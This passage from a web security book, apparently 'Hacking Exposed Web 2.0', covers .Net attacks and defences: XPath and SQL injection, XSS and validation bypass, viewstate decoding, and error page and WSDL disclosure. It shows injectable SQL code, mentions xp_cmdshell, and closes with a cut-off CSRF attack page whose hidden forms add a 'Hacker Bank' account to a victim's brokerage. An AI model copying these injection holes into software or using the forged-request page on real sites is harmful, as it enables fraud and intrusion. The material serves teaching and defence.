    XmlReaderSettings readerSettings = new XmlReaderSettings();

    readerSettings.ProhibitDtd = true; //Prevent entity expansion

    readerSettings.XmlResolver = null; //Prevent external references

    readerSettings.IgnoreProcessingInstructions = true;

    //Need to create a StringReader to wrap the string

    XmlReader xmlReader =

     XmlReader.Create(new StringReader(serializedXml), readerSettings);

    xmlDocument.Load(xmlReader);

    return xmlDocument;

}

Manipulating Application Behavior Through XPath Injection
XPath is a query language that allows developers to select elements matching specified 
criteria from an XML document. .Net integrates XPath with the XmlDocument class 
through the SelectNodes and SelectSingleNode methods. These methods take an 
XPath query and execute it against the XmlDocument’s DOM.

XPath Injection in .Net
Popularity: 4

Simplicity: 6

Impact: 6

Risk Rating: 6

A common security flaw arises when developers insert attacker supplied data into 
XPath query statements, therefore changing the final XPath query executed by the 
system. In many cases, this leads to information disclosure and perhaps unauthorized 
system access. Unfortunately, the .Net Framework does not provide a mechanism for 
escaping information before inserting it into XPath statements. Security testing on .Net 
should attempt XPath injections against applications since no prevention features are 
built in. For an XPath injection framework, see the information about the SecurityQA 
Toolbar in Chapter 1.
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Escape Data Before Insertion into XPath Queries
To prevent XPath attacks in .Net, you must know whether the XPath statement is using 
single or double quotes as the string delimiter. If an escaping mismatch occurs, there is a 
strong potential for security issues to arise. Keep this detail in mind when developing 
.Net applications that use XPath as a data access method.

Microsoft has aggressively pushed XML as a technology and it is used heavily 
throughout the .Net Framework. Hence, when reviewing .Net applications, you are 
likely to encounter XML handling vulnerabilities. The developer advantages of the .Net 
Framework can easily be turned into advantages for a dedicated adversary.

SQL Injection
SQL injection vulnerabilities involving .Net are a very real danger of which developers 
are sometimes unaware. Many developers believe that using managed code will prevent 
SQL injection vulnerabilities. This belief is false. As with the majority of data access li-
braries, the .Net Framework does provide functionality that developers can use to miti-
gate vulnerabilities. However, it is up to developers to use that functionality properly to 
make their applications secure. 

SQL functionality in .Net is exposed within the System.Data.SqlClient namespace. 
This namespace contains classes such as SqlConnection and SqlCommand. To interact 
with a database, developers create an SqlConnecton, connect to the database, and then 
use SqlCommands to run their queries. Here’s an example:

//Connect to the local Northwind database with the current user's

//Windows identity

string connectionString = 

    "Server=localhost;Database=AdventureWorks;Integrated Security=SSPI";

SqlConnection sqlConn = new SqlConnection(connectionString);

sqlConn.Open();

SqlCommand sqlCommand = sqlConn.CreateCommand();

sqlCommand.CommandType = CommandType.Text;

sqlCommand.CommandText = 

      "SELECT * FROM Contact WHERE FirstName='" + firstName + "'";

sqlCommand.ExecuteReader();

This code will connect to the sample AdventureWorks database included with 
Microsoft SQL Server 2005 and execute a select query to retrieve information about the 
specified contact from the database. Notice that the query is put together by concatenat-
ing user input, the firstName string, with the query string. This is an example of a classic 
SQL injection issue manifesting itself in a .Net application. If an attacker supplied a string 
containing a single quote plus some additional query text, the database would not be 
able to distinguish the query the developer intended from the modified query text that 
the attacker has supplied.
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 SQL Injection by Directly Including User Data 
when Building an SqlCommand

Popularity: 8

Simplicity: 6

Impact: 9

Risk Rating: 9

The following code example queries the database for a particular user record:

string query = "SELECT * FROM Users WHERE name='" + userName + "'";

SqlConnection conn = new SqlConnection(connectionString);

conn.Open();

SqlCommand sqlCommand = conn.CreateCommand();

sqlCommand.CommandText = query;

SqlDataReader reader = sqlCommand.ExecuteReader();

/* Process Results Here */

This code is vulnerable to an SQL injection attack because it directly executes a 
query that was created with user data. Notice the use of the SqlCommand and 
SqlConnection objects, as these will be mentioned throughout the rest of this chapter. 
An SqlConnection object creates connections to a database, and an SqlCommand
object represents a specific command that will be executed against the database 
management system (DBMS). Also note that an attacker can inject multiple commands 
into the query by using the semicolon (;) operator to separate each command. 

 Use the SqlParameter Class to Delineate 
User Data and Query Information
Fortunately, these bugs are easy to avoid using .Net. Use the SqlParameter class to 
insert data within SQL queries instead of direct insertion through string concatenation. 
By using SqlParameter classes, the .Net classes will know to separate user data from 
the query text and will make sure that the attacker’s data is not able to influence the 
query plan used when executing against the database. SqlParameter classes may be 
used with both stored procedures and standard text queries such as the select query in 
the previous example.

To use an SqlParameter object with a text query, you can indicate variables by 
placing query variables within the query and then adding appropriate SqlParameter
objects to the SqlCommand. Query variables are indicated within queries by using the 
@ParameterName notation where ParameterName is the name of a SqlParameter that 
you will provide to the SqlCommand. Some beneficial side effects of using parameterized 
queries are that in some cases repeated queries will execute faster, and code can become 
easier to read and audit.
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The preceding example could be rewritten to use SqlParameters as follows:

SqlCommand sqlCommand = sqlConn.CreateCommand();

sqlCommand.CommandType = CommandType.Text;

sqlCommand.CommandText = "SELECT * FROM Contact WHERE 

FirstName=@FirstName";

SqlParameter nameParam = new SqlParameter("@FirstName", firstName);

nameParam.SqlDbType = SqlDbType.Text;

sqlCommand.Parameters.Add(nameParam);

By looking closely, you can see that the query has changed and now uses an 
SqlParameter object to specify the value for the FirstName column in the where 
clause. This query can now be executed safely without worrying about data from the 
user being used to attack the database. 

This same mitigation strategy can be used when calling stored procedures. To avoid 
having to specify a long query string such as exec sp_my_stored_procedure @param1, 
@param2, change the SqlCommand’s CommandType property to CommandType
.StoredProcedure. By changing the command type to StoredProcedure, the .Net 
Framework will understand that the developer intends to call a stored procedure and 
will put together the query appropriately. 

Attackers have a couple advantages when attempting to perform SQL injection at-
tacks against ASP.Net applications. Firstly, the vast majority of ASP.Net applications are 
deployed within Microsoft environments and use Microsoft SQL Server as the database 
backend. An attacker can save some database fingerprinting time by assuming she is at-
tacking Microsoft SQL and using the appropriate attacks. Secondly, ASP.Net is the most 
popular .Net web platform. Using this knowledge, attackers can attempt to compromise 
applications with information about how queries are likely to be put together on the 
backend. This little bit of information can go a long way when attempting to figure out 
how to exploit a given SQL injection vulnerability.

For instance, a common attack against versions of SQL Server prior to 2005 is to call 
the infamous xp_cmdshell stored procedure in the hope that the web application is 
running with high database privileges. This attack is unique to Microsoft SQL Server 
and is not worth attempting against other DBMS installations.

When performing whitebox testing against a new .Net application, one of your first 
tasks is to look for locations where developers set the CommandText property on 
SqlCommand objects. It is often easy to enumerate these calls by searching for 
CommandText or CommandType.Text and determine whether or not the application’s 
developers made proper use of SQL query parameterization.

Remember that you get the advantage of safe only SQL functions if you use them. As 
an attacker, pay attention and go after spots where developers have either been 
unknowledgeable or lazy when working with SQL. 
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CROSS-SITE SCRIPTING AND ASP.NET
ASP.Net has several methods to protect web applications against cross-site scripting 
(XSS) attacks. While these mechanisms can assist in preventing XSS vulnerabilities, they 
are not infallible and can lend developers a false sense of security. In this section, an 
overview of ASP.Net’s XSS protections is provided along with some of the common 
ways in which the protections are misused.

Input Validation
One of the first lines of defense in an ASP.Net application is the use of input validators. 
Input validators can be applied to input fields and verify that user fields are populated 
and contain appropriate information. Each validator control is associated with an 
ASP.Net input control. The controls will perform client-side validation and perform 
validation server-side as well. The .Net Framework has four validator classes:

• RequiredFieldValidator Ensures that a user has entered data into the 
associated input control.

• RegularExpressionValidator Verifi es user data against a developer-supplied 
regular expression.

• CompareValidator Compares values entered by the user to data in another 
control or to a developer-supplied constant value.

• RangeValidator Validates that user data is within a specifi ed range. Can be 
used with many types such as Date or Integer. 

• CustomValidator Provides a mechanism for developers to write their own 
custom validators. The CustomValidator can be used for more complex 
validation—for example, validation that checks business logic rules.

Each of these validators has two parts. One portion runs within the client’s browser 
using JavaScript and prevents ASP.Net postbacks if any of the validation logic fails. As 
an attacker, remember that client-side validation is easily bypassed by using an attack 
web proxy such as WebScarab. The other portion of an ASP.Net validator runs server-
side using native .Net code.

 Bypassing Validation by Directly Targeting 
Server Event Handlers

Popularity: 4

Simplicity: 4

Impact: 6

Risk Rating: 6
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When an ASP.Net server postback occurs, ASP.Net will validate all user input by execut-
ing each validator control on the page. However, even if the page fails validation, it is 
still possible to access and use a value. 

 Check the Page’s IsValid Property 
Before Handling User-supplied Data
It is the developer’s responsibility to check the Page’s IsValid property. If reviewing an 
application that makes use of validators, look for event handlers that do not immediately 
check the value of the IsValid property.

Here’s an example of an event handler that properly checks that the page has been 
validated:

protected void SubmitButton_Click(object sender, EventArgs e)

{

    //If the page is not valid then do nothing 

    //the validators will properly format the output.

    if (Page.IsValid == false)

    {

        return;

    }

    //Insert Business Logic Here

}

Since validators require developers to be explicit about checking their results, validators 
are often misused. Remember this rule: if the browser won’t let an attacker submit evil 
data, he will find a way to use tools such as WebScarab to get around that restriction.

Default Page Validation
In ASP.Net 2.0, Microsoft added new default page validation that is automatically associated 
with every Submit action. This validation is intended to address XSS directly by inspecting in-
coming requests and determining whether or not the client is attempting to submit malicious 
data such as HTML or client-side script. For these validators to be enforced, it is not necessary to 
check the Page.IsValid property, as ASP.Net will do the check automatically. Fortunately for 
an attacker, the default validators get in the way of many operations that developers want to do. 
For example, default ASP.Net validation will block the submission of HTML tags. These tags are 
used by many web applications to allow users to supply links to images within submitted con-
tent such as message board posts.

Disabling ASP.Net’s Default Page Validation
Popularity: 4

Simplicity: 8

Impact: 6

Risk Rating: 7
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Do Not Disable Page Validation
To support user scenarios such as supplying bold tags, developers often will disable ASP.
Net’s page validation. This can be done in one of two ways: either on a machine-wide basis 
by editing the machine.config, or on a page-by-page basis by setting the Validate
Request property to false. It is highly recommended that developers not disable page 
validation on a machine-wide basis as this can adversely affect other applications on 
the machine that may be relying on page validation for protection. Instead, if a page must 
take user data, you can disable the validators specifically for that page and make sure to 
validate input aggressively before placing user data directly into the response document.

A final caveat about ASP.Net’s default validation is that the functionality and 
effectiveness is not very well documented by Microsoft. The lack of a solid contract 
means that default page validation cannot be relied on in all circumstances to protect 
web applications; in fact, it becomes questionable whether it can be relied on at all! 
Despite this poor contract, page validation can add another layer of defense for an ASP
.Net application and is a useful feature to have in case other protections fail.

Output Encoding
Input validation can be helpful in preventing XSS but is not nearly as effective as consis-
tently applied output encoding. The .Net Framework has built-in methods for encoding 
user input before insertion into response documents. These methods should be used 
whenever handling user data, whether that data comes from a user’s request or from a 
persistent store such as a database. When encoding data using the .Net Framework, 
characters with an HTML meaning, such as angle brackets, will be rewritten in an es-
caped HTML form.

To encode data, use the System.Web.HttpUtility.HtmlEncode method. This 
method takes a string parameter and returns the HTML-encoded version of that string. 
The following example below using the HtmlEncode method.

protected void Button1_Click(object sender, EventArgs e)

{

  this.PageLabel.Text = HttpUtility.HtmlEncode(this.UserTextBox.Text);

 } 

It is best practice to create a helper method to use when writing to the output stream. 
This method should make sure that all output strings are passed through the HtmlEncode
method. Performing standard output encoding such as this is one of the few techniques that 
cannot be easily bypassed and goes a long way in protecting against input filtering errors.

Earlier in this chapter, you read that developers often want to allow users to supply 
formatting instructions, such as bold tags, when submitting content. To do this safely in 
.Net, use the HtmlEncode method to encode the data and then use the string replace-
ment functions to replace the encoded versions of allowed tags with the real versions. 
For example replace &gt;b&lt; with <b>. Using a whitelist approach after performing 
encoding provides a much higher level of assurance that attackers will not be able to 
supply tags that may compromise an application’s security.
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A final note on output encoding to remember is that using the HtmlEncode method 
does not make input safe for insertion into client-side script blocks such as JavaScript. 
Prior to Web 2.0, most applications placed user data only into the page’s HTML sections. 
With the event of AJAX and greater usage of JSON and JavaScript, it is more likely that 
user data will be in the middle of script blocks that are being evaluated. The .Net 
Framework does not provide methods to escape data for insertion into JavaScript and it 
is up to application developers to provide their own.

XSS and Web Form Controls
One of the most powerful features of ASP.Net is Web Forms. Developers create Web 
Forms containing Web Controls to provide user interface functionality, much as they 
would within a standard-rich client application. ASP.Net provides an event infrastruc-
ture that allows Web Controls to receive browser events—for example, a user clicks a 
button and the application reacts accordingly. With this eventing infrastructure and 
Visual Studio’s graphical control layout functionality, programming for the web becomes 
an experience very similar to programming a .Net WinForms application. The familiar-
ity of ASP.Net Web Forms often lulls developers into forgetting about some of the secu-
rity issues (such as XSS) that they need to worry about when developing their own web 
applications. An attacker can take advantage of uneducated developers and look for 
cases in which Web Forms have been misused.

 Causing XSS by Targeting ASP.Net Web 
Form Control Properties

Popularity: 8

Simplicity: 7

Impact: 8

Risk Rating: 9

One common mistake is believing that the default controls will perform automatic 
HTML encoding. While some controls do encode output, many do not. If user data is 
directly supplied as the text value for a control, it will often lead to a script injection vul-
nerability. An example control that does not provide output encoding is the Label con-
trol. This control is used to display text on a web page. When user data is assigned to the 
Text property of the control, the data will be inserted directly into the web page. If an 
attacker submits data containing script, then a XSS vulnerability would likely result.

 HTML Encode User-supplied Data Before Assigning the Value 
to ASP.Net Web Form Control Output Properties
Counter to the Label control is the DropDownList control, which will automati-
cally encode items within it. This means that user data can be safely placed into a 
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DropDownList without worrying about the possibility of script injection. Even though 
ASP.Net will handle encoding of new items, it does not mean that values in a Drop-
DownList may be safely inserted directly into other page elements such as a Label
control. When the value is read from the DropDownList it will be automatically 
HTML-decoded by ASP.Net and lose the previously provided protections. The different 
behavior between controls opens the door for vulnerabilities and the possibility that 
developers will misunderstood the encoding rules for specific controls. 

Recently Microsoft has updated much of the MSDN Web Controls’ documentation 
(http://msdn2.microsoft.com/en-US/library/aa984118(VS.71).aspx) to indicate which 
controls do or do not encode assigned data. To attack ASP.Net applications, a thorough 
read of the MSDN article will be useful to learn which controls have problems. Since many 
popular Web Controls come standard with ASP.Net, they are often recognizable. If an at-
tacker is familiar with the common controls and their faults, it will be easy to develop a 
standard arsenal of attacks to use against each one. A good attacker often reads through 
the documentation one page beyond where the application’s developer stopped reading.

More on Cross-Site Scripting
While web controls are used for the majority of UI elements in ASP.Net, it is possible to 
write directly to the output stream. To write to the output stream directly, developers use 
the Response.Write method. This method performs no output encoding and its use 
with non-encoded or unfiltered user input is an immediate red flag. A good technique to 
use when auditing a closed source .Net web application is to use .Net Reflector and 
search for references to the Response.Write method. Doing this simple search can 
sometimes help increase the understanding of the application and in the best cases, 
identify points where user input is being placed directly into the page’s output.

Sometimes when creating XSS exploits, an attacker may find vulnerabilities that oc-
cur when a form is submitted to a web site using the POST method. XSS exploits using 
POST can be more difficult to author as an attacker but an interesting coding construct in 
ASP.Net can sometimes make the attacker’s job a little bit easier. Traditionally, form data 
in an ASP.Net application is accessed using the Page.Form index property. Using the 
Page.Form property requires that information be posted to the page as part of an HTTP 
Post form. However, it is also possible to access data by using the Request index object. 
When this object is used, the information may be included within the query string or 
within a posted form field. If the application chooses to access data by using the 
Request index object instead of the Page.Form field, then parameters for a XSS exploit 
may be placed into the query string instead of in a POST body. Of course, the ability to 
perform this substitution is dependent on how the application decides to access data. 
However in complicated exploit scenarios, this behavior can greatly simplify exploit 
writing.

This concludes the discussion of Cross-Site Scripting in ASP.Net. As you can see, ASP
.Net provides several mechanisms to assist in preventing script injection. Remember that 
the majority of these protections require active effort on the part of the developer. With 
the short deadlines most application developers are under, it is common for mishandling 
of data to be overlooked.

http://msdn2.microsoft.com/en-US/library/aa984118(VS.71).aspx


128 Hacking Exposed Web 2.0

VIEWSTATE
If you look at a form submission to an ASP.Net application, you will likely notice that 
almost every Submit action carries with it a _VIEWSTATE parameter. This parameter is 
used by ASP.Net to maintain information about the state of ASP.Net web controls on a 
page. For example, it records which items are currently being displayed in a DropDown-
List and which item was last selected. To reduce the amount of memory required by the 
server, ASP.Net encodes this data and places it into the page as a hidden form field. The 
viewstate is then sent to the server so that the server can render subsequent page views 
accurately. Developers can also place custom values into the viewstate to access them 
later. By keeping the state on the client, it is easier to write web applications that scale.

Even though viewstate is central to the operation of much within ASP.Net, its 
implementation and behavior are poorly documented. This poor documentation and a 
general lack of developer understanding provide a potential attack surface for attackers 
looking for vulnerabilities in ASP.Net applications. 

Viewstate Implementation
ASP.Net places a viewstate blob in each page as a hidden form field. To view a page’s 
viewstate, simply view the source of the page and search for the _VIEWSTATE field ID. 
The viewstate is transmitted as a Base64-encoded binary blob. When ASP.Net receives a 
viewstate field, it will decode the blob and then deserialize it using the System.Web
.LosFormatter class. In addition to providing a compressed binary format for an 
object’s data, the LosFormatter class provides additional compression by creating 
internal string tables for repeated data. In addition to the data within the viewstate, the 
viewstate may also be encrypted and/or signed.

By default, ASP.Net will add an HMAC to the viewstate data, which means that cli-
ents will be unable to tamper with the viewstate. The HMAC is generated by using a 
hashing algorithm and a server-side–specific key. In most installations, the key will be 
generated automatically by ASP.Net and developers will not need to pay any attention 
in order to receive viewstate integrity protections. A major exception to this are web farm 
environments where multiple machines are involved. Since the key is generated per ma-
chine and not available for export, each machine in the web farm will have a separate 
key. The lack of a shared key infrastructure means that any machine in the web farm will 
be unable to verify the signature on a viewstate-generated by ASP.Net installations on 
other machines.

To handle this situation, developers can manually generate a key and specify the key 
in the machineKey element of the web.config, or viewstate validation can be turned off 
per page or machine-wide. Manually specifying a key has its drawbacks. The key must 
be synchronized to all machines within the web farm. As with most key management 
solutions, it can be difficult to change the key without disrupting users using the applica-
tion. To check whether viewstate integrity validation is disabled, simply modify the
_VIEWSTATE before submission. If the server accepts the viewstate without complaint, 
then viewstate validation is likely disabled. 
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In addition to signing, viewstate may also be optionally encrypted using Data 
Encryption Standard (DES), Triple DES (3DES), or Advanced Encryption Standard (AES). 
By default, ASP.Net will not encrypt viewstate. Encrypting the viewstate can help protect 
against disclosure of sensitive data but Microsoft recommends avoiding encryption and 
instead never placing sensitive data within the viewstate. Of course, we all know that 
not all guidance is followed, so make sure to check that nothing sensitive is within the 
viewstate. If the viewstate appears to be encrypted, then try saving the viewstate, logging 
in as a different user, and submitting the saved viewstate. Mixing cross-user data could 
cause the application to behave in an insecure manner.

In .Net 2.0, ASP.Net added the _EVENTVALIDATION field as an additional form field. 
This field was added to mitigate the attack where messages were posted to event handlers 
that were listening but not displayed on the current user’s page. For example, if a page 
had a Delete User button that was only shown when an administrator viewed the page, 
an attacker could still send postbacks to the button’s event handler. In some cases, 
depending on whether the application always performed proper access checks, the 
acceptance of the event could cause a user to elevate privileges. The _EVENTVALIDATION
field prevents this by storing which event handlers are valid. The field is linked with the 
viewstate by cross-references and an HMAC to prevent tampering.

Gaining Access to Sensitive Data by Decoding Viewstate
Popularity: 4

Simplicity: 7

Impact: 6

Risk Rating: 6

When attacking an ASP.Net application that uses viewstate, an attacker follows 
a multistage approach. First, he uses Fritz Onion’s Viewstate Decoder tool (www
.pluralsight.com/tools.aspx) to look for sensitive data within the viewstate. Since view-
state is not encrypted by default, the attacker wants to take advantage of a developer’s 
oversight and attempts to learn about the application. To use this tool, he can either point 
it at a web page or manually copy the viewstate out of the web page’s source.

Here’s how an attacker extracts a viewstate and decodes it:

 1. Open the source code of the web page using the browser’s View Source 
command.

 2. Search for the string _VIEWSTATE within the page. This should fi nd a hidden 
form fi eld.

 3. Copy the _VIEWSTATE from the page into the Viewstate String fi eld within 
viewstate decoder.

 4. Explore the _VIEWSTATE in the tree display on the right side of the decoder.

www.pluralsight.com/tools.aspx
www.pluralsight.com/tools.aspx
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Do Not Place Sensitive Information in the Viewstate
While most of the information in the viewstate will be uninteresting, an attacker can learn 
a lot by examining it, including account information or internal system information. 
Successful decoding of the viewstate will also indicate whether or not the viewstate has 
been encrypted. If sensitive information is stored within the decoded viewstate, a serious 
vulnerability results. Since viewstate is part of the page’s text, it will be transmitted over the 
network with each page view and persisted in cache pages. Developers should never store 
sensitive information in the viewstate.

A common misconception about viewstate is that it is user-specific and prevents 
cross-site request forgery (CRSF) attacks (www.isecpartners.com/files/XSRF_Paper_
0.pdf). While viewstate prevents CSRF in some cases, the security benefit is generally 
provided by accident. When attempting to exploit a CSRF issue, the attacker will try to 
remove the viewstate from the page, since often viewstate is not required for a page to 
function properly. If the page complains when the viewstate is removed, the attacker will 
try logging into the application, visiting the page, and then copying the viewstate from 
the page into the CSRF exploit. Depending on the application, ASP.Net may accept the 
viewstate on behalf of the victim. Viewstate may be omitted or substituted because not 
all applications depend on the viewstate being present or initialized.

To mitigate the CSRF weaknesses, ASP.Net 1.1 introduced the Page.ViewStateUser-
Key property. The property can be used to add entropy to the viewstate. When ASP.Net 
receives a postback it will use the ViewStateUserKey along with the validation key to 
calculate the page viewstate’s HMAC. By adding a unique value per user per page, it will not 
be possible for an attacker to substitute his own viewstate when creating a CSRF exploit. 

This approach has a couple major weaknesses, however. Firstly, the security contracts 
related to the viewstate user key are not well documented by Microsoft. Even though the 
protection may be adequate today, Microsoft has the right to change it in the future. Mi-
crosoft can make these changes because the documentation never makes any promises or 
guarantees to application developers. Secondly, developers often misuse the viewstate 
user key by not providing an appropriate value. For the application to protect against 
CSRF effectively, an attacker must not be able to supply or gain access to the value used 
as the viewstate user key. A good example of a value would be a session ID that is stored 
within the user’s cookie and is not predictable. To provide further protections, combine 
the session ID value with a unique value per page. By varying the key on a per-page basis, 
the difficulty for the attacker increases as the key cannot be reused. After specifying the 
key value, make sure to protect the application by referencing the viewstate. Making an 
explicit reference will ensure that the viewstate is properly validated.

A final note about the integrity and confidentiality of viewstate and the effectiveness of 
CSRF protections. As mentioned, the security contract concerning viewstate is stated am-
biguously in the documentation. Although the current mechanisms may be secure, there is 
not guarantee that this will not change in a future release of ASP.Net or the .Net Framework. 
To mitigate vulnerabilities related to viewstate, sensitive data should never be placed in the 
viewstate, the viewstate integrity should not be relied upon, and a more comprehensive ap-
plication-specific CSRF protection token is recommended for .Net applications. And remem-
ber that attackers will also pay close attention to this area in future versions of ASP.Net.

www.isecpartners.com/files/XSRF_Paper_0.pdf
www.isecpartners.com/files/XSRF_Paper_0.pdf
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Using Error Pages to View System Information 
Popularity: 8

Simplicity: 8

Impact: 4

Risk Rating: 6

To help developers debug applications, ASP.Net will catch unhandled exceptions that 
occur within the application and create a page listing the exception, which module it oc-
curred in, and whether source code is available will provide a listing of the code that 
generated the exception. By default, these error messages will be presented only to users 
viewing the web page from the local machine; however, it is not uncommon for develop-
ers to remove this restriction when attempting to get a web application running in a 
production environment. This type of information disclosure can give attackers critical 
information about the application and its behavior. When reviewing an ASP.Net applica-
tion, an attacker can pay close attention to the error pages returned. If the error page 
contains debugging information, he can use that information to guide future attacks.

Figure 5-1 shows the stack trace when attempting to submit malicious content that is 
caught by ASP.Net’s page validation. This provides the attacker with vital information 
about why the attack may or may not be working.

Using Error Pages to View System Information Countermeasure
To configure an ASP.Net server not to return comprehensive debugging information, it 
is recommended that a default error page for the application be specified. This can be 
done by editing the application’s web.config file and changing the defaultRedirect
attribute value of the customErrors element. Changing this value to a default error 
page ensures that sensitive application specific data will not be disclosed to remote 
attackers and is a good defense-in-depth measure when writing a secure ASP.Net web 
application.

Here is an example of a web.config file using customErrors and a default
Redirect to mitigate error disclosure:

<configuration>

      <system.web>

        <customErrors mode="On" defaultRedirect="Error.html">

            <error statusCode="403" redirect="NoAccess.htm" />

            <error statusCode="404" redirect="FileNotFound.htm" />

        </customErrors>

      </system.web>

</configuration>



132 Hacking Exposed Web 2.0

ATTACKING WEB SERVICES
In addition to the web page capabilities of ASP.Net, the ASP.Net application platform has 
a full-featured web service stack. Standard class methods may be turned into web ser-
vice methods by applying the WebMethod attribute to the class member. This indicates 
to ASP.Net that the method is meant to be exposed in a web service. After adding the 
WebMethod attribute, the developer needs to place an ASMX web service file on the web 
service along with associated application code. The ASP.Net Internet Server API (ISAPI) 
filter running within Internet Information Services (IIS) will then know to treat refer-
ences to the ASMX file as web service requests and process them accordingly.

Discovering Web Service Information by Viewing the WSDL File
Popularity: 8

Simplicity: 8

Impact: 3

Risk Rating: 4

Figure 5-1 Stack trace shown by ASP.Net after attacker submits malicious content.
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When attacking .Net applications, the attacker will look for references to ASMX files 
on the web server. These references are more common in Web 2.0 applications that are 
exposing AJAX web service methods. If the attacker identifies a reference to an ASMX 
file, she is often able to retrieve information about the web service by making a request 
of the form http://<remote_host>/webservice.asmx?WSDL or referencing the ASMX page 
directly. If documentation for the web service is enabled, which is the default setting, 
then ASP.Net will gladly return a Web Services Description Language (WSDL) file 
containing a complete description of the web service, including the methods available 
and the types of the parameters that the web service expects. This is gold for attackers. It 
is a common occurrence that web service interfaces will not be as well protected as web 
interfaces since their interface is either not as well understood or is not assumed that 
developers will attack the web service interface directly.

If the web service methods use only .Net simple types, then ASP.Net will provide a 
sample request form that allows users to call the methods directly from the web browser. 
This saves the attacker from having to write complex attack tools. Figure 5-2 shows the 
documentation page for a simple web service method that echoes the echoString
parameter back to the user.

Figure 5-2 Documentation page for a simple web service method

http://<remote_host>/webservice.asmx?WSDL
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 Disable Web Service Documentation Generation
To prevent automatic disclosing documentation information about your web service, 
you may edit the web service’s Web.Config file. When documentation is disabled, at-
tacker’s will no longer be able to download a WSDL describing your web service, nor 
will they be able to use the automatically generated Asp.Net service interface.  To do this, 
add the following to the System.Web portion of the web service’s Web.Config:

<webServices>

    <protocols>

        <remove name="Documentation"/> 

    </protocols>

</webServices>

Note, that disabling documentation requires that you manually distribute a WSDL 
file or web service description to any user who wishes to call your web service.  If attackers 
can guess which methods are available on your service they will still be able to make 
requests.  So, hiding documentation should be considered an obfuscation mechanism and 
not a significant hurdle to a determined attacker.  Ensure that you have appropriate 
authentication and authorization mechanisms in place so that if the attacker does discover 
your service definition, they will not be able to compromise your application.

SUMMARY
The .Net Framework and ASP.Net help improve application security by mitigating a 
number of traditional attacks against applications, but they can also provide developers 
with a false sense of security. Attackers reviewing a .Net application will be sure to search 
where framework APIs and infrastructure have been misused or secure defaults changed. 
Additionally, they will remember that regardless of the framework, application logic 
errors will always be an issue. They will take the time to think about how the application 
is working internally, get to know the framework, and then attack .Net applications.

To help you protect .Net applications, Microsoft has published several resources 
describing security features within .Net and how to configure ASP.Net web application 
servers properly. Make sure to use these resources to properly secure your .Net 
environments.
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CASE STUDY: CROSS-DOMAIN ATTACKS
As Web 2.0 gets bigger and bigger, the interaction between web applications becomes 
stronger and stronger. This interaction produces security problems for organizations that 
want to maintain the security of their sites. It is hard enough for an individual to ensure 
that his or her own web application is secure, but now organization must ensure that 
every advertisement, RSS feed, mashed-up site, news article, or any other third-party 
content is secure as well. As noted in Chapter 3, the cross-domain interactions of many 
Web 2.0 applications reduce the security level to the weakest link. Hence, one secure web 
application with content from a second insecure third party equates into two insecure 
web applications. 

In this case study, we will apply what we learned about cross-domain attacks 
in Chapter 3 to a few real work examples, including a study of cross-domain stock-
pumping attack and cross-domain security boundaries. 

Cross-Domain Stock-Pumping
Phishing attacks, where criminals utilize dishonest or forged e-mails to lure unsuspect-
ing users into browsing to a malicious site professing to be a popular banking or e-com-
merce site, represents a significant chunk of the online fraud universe. The basic goal of 
phishing sites is to trick a user into giving up personal information or login credentials, 
or to utilize a widespread browser vulnerability to install malware and gather the same 
information via a more direct route, such as a keyboard logger. Once the attacker has 
gained this information, the criminal uses the individual’s identity to transfer money 
from personal accounts, manipulate online auction sites, and perform widespread finan-
cial identity theft.

A recent innovation in online fraud has been the combination of modern intrusion 
techniques, such as malware infection and botnets, with the age-old scam known as stock 
pumping. This technique relies on the ability of a small number of investors to affect the 
price of ultra-cheap and low-volume securities, such as stocks listed as pink sheets. For 
as long as stock markets have existed, fraudsters have attempted to make their fortunes 
in this manner, generally by hyping fabricated positive news for the company through 
flyers, word-of-mouth, and direct phone calls from organizations known as “Boiler 
Rooms.” The success of spammers in the late 1990s and early 2000s in selling counterfeit 
pharmaceuticals and luring individuals into classic confidence scams led to stock 
pumpers adopting the same advertising techniques. Traditionally, an individual would 
be affected by this scam only if he fell for the deceptive online message posting or spam 
e-mail.

With a cross-domain vulnerability in an online stock broker, stock pumpers can forgo 
the difficult step of convincing an individual to buy a stock, and can go straight to the 
source of authority as far as the online broker is concerned—the user’s web browser. 
This is a method by which the attacker can profit from control of online brokerage 
accounts in a much more subtle and difficult to track way than the classic “fraudulent 
funds transfer.”
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Vic DeVictim is an author of techno-thriller novels, an experienced stock day trader 
and a more advanced than average Internet user. He is immune to the numerous stock-
pumping spam e-mails and forum messages he sees every day, and he pities those poor 
fools who are naïve enough to fall for those obvious scams. As an active trader, Vic 
monitors his stock portfolio during most of the day while working on his latest novel in 
the wildly popular Dirk McChin series, Operation Catfish.

Vic is a client of a popular online discount brokerage, BadStockBroker.com, and en-
joys using the company’s new AJAX-enabled stock ticker. This new portfolio monitoring 
application comprises a JavaScript-enhanced web page running within a small browser 
window on Vic’s desktop. This ticker uses an XMLHttpRequest object to request the 
latest prices from BadStockBroker.com without a page refresh, and it updates the ticker 
page’s DOM with the results. This use of AJAX gives Vic the ability to receive immediate 
information from his broker without irritating page reloads or the need to install a thick 
Windows client.

To reduce the amount of data transferred in each request, Vic’s positions are 
represented as a JavaScript array listing the stock symbol, number of shares, and current 
price:

[["MSFT",100,31.43]

,["GOOG",50,510.22]

,["AAPL",10,115.67]

]

During Vic’s trading day, he enjoys hanging out on message boards with other 
traders, gathering stock tips, and discussing the market. During one of these browsing 
sessions, he comes upon a message posted by somebody with the screen name Irene 
Innocent:

Are you a user of BadStockTrader.com? I am, and I’m concerned about recent security flaws 
found in their website. You can read the report I read here: http://tinyurl.com/2vshw4.

Vic is naturally interested in the security of his brokerage account, so he clicks the 
link. He finds a web page containing an unsubstantiated claim that his account is 
insecure. While reading this text, he was not aware of the actions being taken by the 
JavaScript included in the web page, shown here:

<html>

<body>

 BadStockBroker.com has lots of bad security flaws!  You should not use them 

because…

<!-- Create the malicious iframes, making sure that it does not display -->

  <iframe style="display: none" name="attackIframe1">

  </iframe>

  <iframe style="display: none" name="attackIframe2">

  </iframe>

  <iframe style="display: none" name="attackIframe3">

http://tinyurl.com/2vshw4
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  </iframe>

  <iframe style="display: none" name="attackIframe4">

  </iframe>

<!-- Define four forms to perform malicious requests  -->

 <!-- First we add a new Checking Account -->

<form style="display: none; visibility: hidden" target="attackIframe1" 

action="https://www.badstockbroker.com/account/associateAccts.jsp"

method="POST" name="attackForm1">

    <input type=hidden name="Action" value="AddAccount">

    <input type=hidden name="BankName" value="Hacker Bank">

    <input type=hidden name="RoutingNumber" value="55443297543">

    <input type=hidden name="AcctNumber" value="55447733">

    <input type=hidden name="AcctIndex" value=”2">

  </form>

